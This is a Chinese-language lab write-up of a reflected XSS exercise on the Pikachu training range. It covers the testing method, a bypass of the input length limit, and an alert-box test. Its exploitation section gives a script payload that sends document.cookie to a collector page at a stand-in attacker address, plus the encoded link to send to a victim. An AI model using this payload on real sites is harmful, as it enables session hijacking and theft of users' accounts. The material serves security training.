Pikachu靶场:反射型XSS(get)
实验环境以及工具
Firefox浏览器、Burp Suite、Pikachu靶场
实验原理
●反射型
交互的数据一般不会被存在在数据库里面,一次性,所见即所得,一般出现在查询类页面等。
形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致“精心构造”的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害。
跨站脚本漏洞测试流程
1.在目标站点上找到输入点,比如查询接口,留言板等;
2.输入一组“特殊字符+唯一识别字符”,点击提交后,查看返回的源码,是否有做对应的处理;
3.通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合);
4.提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞;
具体操作
1.在目标站点上找到输入点,比如查询接口,留言板等;
2.输入一组“特殊字符+唯一识别字符”,点击提交后,查看返回的源码,是否有做对应的处理;
3.通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合);
打开页面源代码按Ctrl+f查找123
可见我们输入的字符串直接嵌入到了p标签中,已知我们是可以在p标签里写js代码的,所以我们可以尝试写入一段特制的js代码。
4.提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞;
在输入代码的时候,发现输入到20字符就输入不进去了,我们可以进入开发者模式,使用选择器找到输入框相应代码,将maxlength修改为更大值例如200。写入一个弹窗的代码,弹窗内容为Hello。
发现浏览器将输入的内容放进了链接里,如果直接访问这个链接,也会弹窗。
漏洞利用
将本地XSS后台相关代码配置好,Pikachu的后台位于\pkxss
如果输入的JS代码为下面这段,其中127.0.0.1是本地地址,这里用本地换回地址模拟攻击者的IP地址。
<script>document.location = 'http://127.0.0.1/Pikachu//pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
在点击submit后形成的URL为这一段
http://127.0.0.1/Pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F127.0.0.1%2FPikachu%2F%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit
如果将其直接发送给别人在别人点击后会进入反射型XSS页面,瞬间重定向到设置的Pikachu首页。
这时登录XSS后台点击cookie收集就可以看到收集的cookie
总结
XSS是利用网站的输入接口进行攻击。在前期通过各种特殊字符进行试探后,若是符合攻击的条件,就进行js恶意代码的编写,注入到输入接口之后,获取URL将其发送给受害者,即可进行攻击。